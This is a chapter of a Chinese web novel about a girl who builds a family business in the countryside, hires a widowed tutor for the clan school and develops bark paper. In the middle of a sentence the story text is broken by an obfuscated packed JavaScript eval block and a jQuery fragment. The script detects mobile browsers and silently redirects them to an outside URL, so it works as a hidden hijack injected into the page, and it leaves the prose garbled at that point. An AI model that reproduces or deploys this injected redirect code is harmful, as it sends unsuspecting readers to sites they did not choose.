32. 楮纸
作品:《古代童养媳的发家日常》 回程路上,肖德奎紧紧的攥着□□,心疼的直抽抽:“十五两雪花银啊!够建两口新窑…”话未说完,车辙碾过碎石,震得车上新添的点心材料与工具叮咚作响。李蜜掀开车帘,看见阿泽正对着溪水整理衣襟,这才发现他的袖口上不仅有补丁还短了一截,一抬手就露出麦色手腕。
车上肖德勇还在与三哥抱怨,自家不过在乡下开个小作坊,也没有雇别人,都是自家族人亲戚,怎么就要缴这许多的银钱。要知道村里那些豆腐作坊、磨坊、榨油坊之类的可都是开在自家院子里,农忙时种田,农闲时做工,可从未像官府缴过一分钱的商税。
倒是三伯最近也常与商户掌柜打交道,反而觉得蜜娘做事果然稳妥,什么都能想到别人前头,按照他们如今的势头,明年只要药田与炭坊的产量上来,那货物自然是要往州府销的,迟早得在官府这里挂名。
李蜜闻言笑笑也不多言,等晚上回去自有姑姑给他解惑。
她的眼神再一次扫过车外的阿泽,不合身的布衫也难掩他郁郁葱葱的少年气,比之前的懵懂淳朴更多了几分难言的坚毅。
“停下车,我去找表哥”大伯闻言忙拉了缰绳。
“表哥该添新衣了。”她将荷包塞进少年掌心,“前日福满楼的订单…”话音被山风卷走,阿泽耳尖泛起薄红:“你瞧构树林,可惜冬日没果子了。”
构树到了冬日零星挂着几片叶子,李蜜眸光流转。昨夜构树皮在碱水里泡出的絮状物,此刻正在她袖袋里悄悄发酵。这秘密像颗种子,在账簿与律令的夹缝中悄然萌芽。
她回头瞅了阿泽一眼:“别打岔,你最近签了好几个大单子,我觉得你的工钱也该涨涨了。”
阿泽被羞红了脸,少年人最是自尊心强烈的时候,“我是你哥哥我还需要拿工钱,我不要,我给家里帮忙是应当应分的。”
李蜜知道他想歪了,笑一笑顺毛安抚,“这本来就是咱们自家的生意,但是没有规矩不成方圆,每个人都领工钱,我自己也领,你要是不听我的话,别人也有样学样,人人都想搞特殊,我还怎么服众。”
果然阿泽立马被驯服,“那你少给我发点就行,我不需要那么多。”
李蜜无语,还没见过不要工资的员工,这可是她的001号元老,待遇自然不能太差。
她略一思索道,“你每月工钱和二丫他们一样,但你除基本工资外还得加上每月销售的提成,我给你按百分之五来算,就是你签了一百两的单子,我给你五两银子提成,签的越多,提成越高如何?”
阿泽惊得差点从车上掉下去,这比胡掌柜给的还要多。
拒绝的话还没说出口就又听到李蜜接着说:“还是和我说的一样,钱你领着,不想花就攒着,等我后面还想做点什么生意的时候你可以拿钱投资,帮我创业。”
说罢又指指阿泽的衣服,“还有,你如今在外头谈生意穿成这样,是要人笑话咱们靠山屯公司没实力不成?别的不说,制装费必须花光,你要不会买等会到镇里我陪你去挑。”
这次肖泽也说不出拒绝的话,红着脸点点头。人都说先敬罗衣后敬人,这道理他自然懂,不过就是穷苦孩子出身,实在是舍不得给自己花钱置办衣服罢了。
肖泽拉了下自己衣服上的褶皱,暗自下定决心,以后万不能因为自己让别人小看他们作坊,就是蜜娘常说的保护品牌形象。
阿泽看着眼前晃着双脚的小姑娘,实在没法把她和东家、掌柜的之类的人物联系到一起,可就是这样小小软软的妹妹,如今正一步步带着族人快步前行。
师傅昨日的话还在耳畔回响:“你要做桥,便不能困在浅滩。”阿泽咬咬牙,他不能在瞻前顾后犹豫了。
“蜜娘有个事情我想和你商量下。”
李蜜正在拿着树枝抽水花,闻言好奇的瞅了阿泽一眼,示意他有话直说。
“我想辞去药铺的活计。”话说出口,阿泽觉得胸口有点空,却又觉得轻松了许多。
李蜜毫不惊讶的点点头,“好呀,早就该辞了。”
“啊,你不会生气吗?这样咱们和胡掌柜……”
“表哥,咱们是供货商,不能只有一个主顾,更何况如今是胡掌柜更离不开我们。就算你不是德义堂的学徒,但咱们还是师傅的徒弟,这份关系不会断。”李蜜斩钉截铁的说道。
阿泽不由一阵挫败,他碾转反侧的思虑,在表妹面前不过是一瞬间就有答案的小问题,他垂下眼帘,悄悄遮住少年人的自卑。
李蜜没有察觉到自己的金手指深深打击到了眼前的少年,还在快活的哼着歌,只觉得今天真是收获满满,不虚此行。
***
溪水潺潺,李蜜和阿泽并肩坐在溪旁享受片刻的宁静,沈伯靠在车棚,眼含笑意望着两人。
“这是什么?”
李蜜定睛望去,上游漂来几片黄裱纸,纸角绘着歪斜的八卦纹。两人好奇的起身,绕过青石滩,一座破败道观现于眼前,檐角铜铃在风里哑声摇晃。
“你们想干什么?行行好…”沙哑的哀求从柴扉后传来。李蜜示意阿泽止步,透过门缝望见个灰袍妇人正被地痞推搡。妇人怀中紧搂着竹简,发间木簪已断成两截,却仍挺直脊背:“我是修行的居士…”
“嘿嘿居士!那我更要尝尝味道……”地痞扬手要夺竹简,忽被药锄勾住裤腰。阿泽如神兵天降,李蜜挥手撒出一把胡椒粉,呛得歹徒落荒而逃。
阿泽背过身去,李蜜将妇人扶起,帮她整理衣襟,瞥见她衣服内绣着精致的花纹。交谈方知,这位苏姓女居士原是丧夫寡居的娘子,因为没有孩子,家里产业都被族里收了回去,她只能寄居在道观里,之前因着才名还有一些人家请她去给闺中女儿授课,后来被人诬陷清白,就再也没人请她做西席,只能靠抄经度日。
“观里女冠多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031745|160179||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不识字,这些经卷…”苏娘子抚摸着竹简上的批注,眼底泛起水光。
李蜜想到了娘亲,要不是遇到李老大,也不知道她们会是何命运。
看着眼前的女子,她心下一动。“苏居士,冒昧问您一下,如今可还愿意开席授课?”
苏凌霄猛的抬起头来,“不知小娘子是何意思?”
“我家有开了族学,供不识字的族人来上课,想请您为族里不识字的人授课,不知道您是否愿意去,包吃包住,束修按市场价来给,您尽可放心。”李蜜期待的看着眼前的女娘。
苏凌霄强压住泪意,用力的点头,“承蒙小娘子不弃,我定当尽力。”
***
祠堂后的山涧旁,十几个妇人正在砸构树皮。李蜜挽着袖子示范舂捣节奏:“要顺着纤维方向,力道像给面团排气那般。”
小丫举着刚揭的湿纸往晾杆上挂,半透明的纸膜在风里晃悠。“还是太脆。”李蜜对着日头细看纤维走向,“再加些蓼蓝汁试试。”
李蜜抹了把汗,“估摸着还是树皮浸泡的时间太短了,三丫,你带着小丫每日里做好记录。”
九日后,月光漫过构树林时,李蜜在实验簿上勾画。
浸泡月余的树皮终于捣成絮,掺了蓼蓝汁的纸浆在竹帘上流淌。小丫突然指着晾晒架惊呼:"阿姐快看!"
半透明的纸膜在夜风中轻颤,虽还是粗糙厚重,纸浆也不均匀,但是李蜜将纸页凑近烛火,摇曳的光影里,纸张纹理清晰可见,揉搓间也没有裂纹。
晨雾中,第一张纸笺诞生。李蜜提笔蘸墨,在纸浆粗糙的纹路间写下:族学夜读章程。墨迹沿着纤维游走,恍如根系在泥土里悄然蔓延。
“二丫,把这个送去给苏夫子,让她按照我列的章程完善教学大纲。”李蜜吹了吹纸上的墨迹,暗想这纸的吸水性还差些,得继续改良。
“好嘞,我这就去送。不过蜜娘,你说咱们这纸叫什么名字好呢,你不是说人家的纸都有雅称吗?”二丫望着眼前一排排在风中晃动的纸张,内心激荡。
“不如就叫楮纸吧,如何?”
祠堂内燃着灯火,二十几个出嫁女挤在厢房认字。苏凌霄握着三姑的手教写”肖”字,一笔一画的水渍在石板上晕开。
肖三姑忽然落泪,二十几年来从听话的女儿到能干的媳妇,今夜仿佛真正成为了“肖三姑”。
二丫轻叩门口“上课中”的木牌。苏夫子正在用炭条在黑板上画算筹,“先生,蜜姐让我给您来送夜校章程。”
苏娘子笑着接过,纹路粗糙的信笺上是娟秀的字迹,她好奇的摩挲着陌生的纸张,二丫凑到她耳边低声道,“这是我们新制的楮纸,等过几日就送来学堂,给大家练字用。”
是夜,祠堂后殿烛火通明。苏凌霄执笔编写《蒙学章》,忽然一阵穿堂风过,烛火摇曳间,她低声轻笑,如今这日子可再好不过了。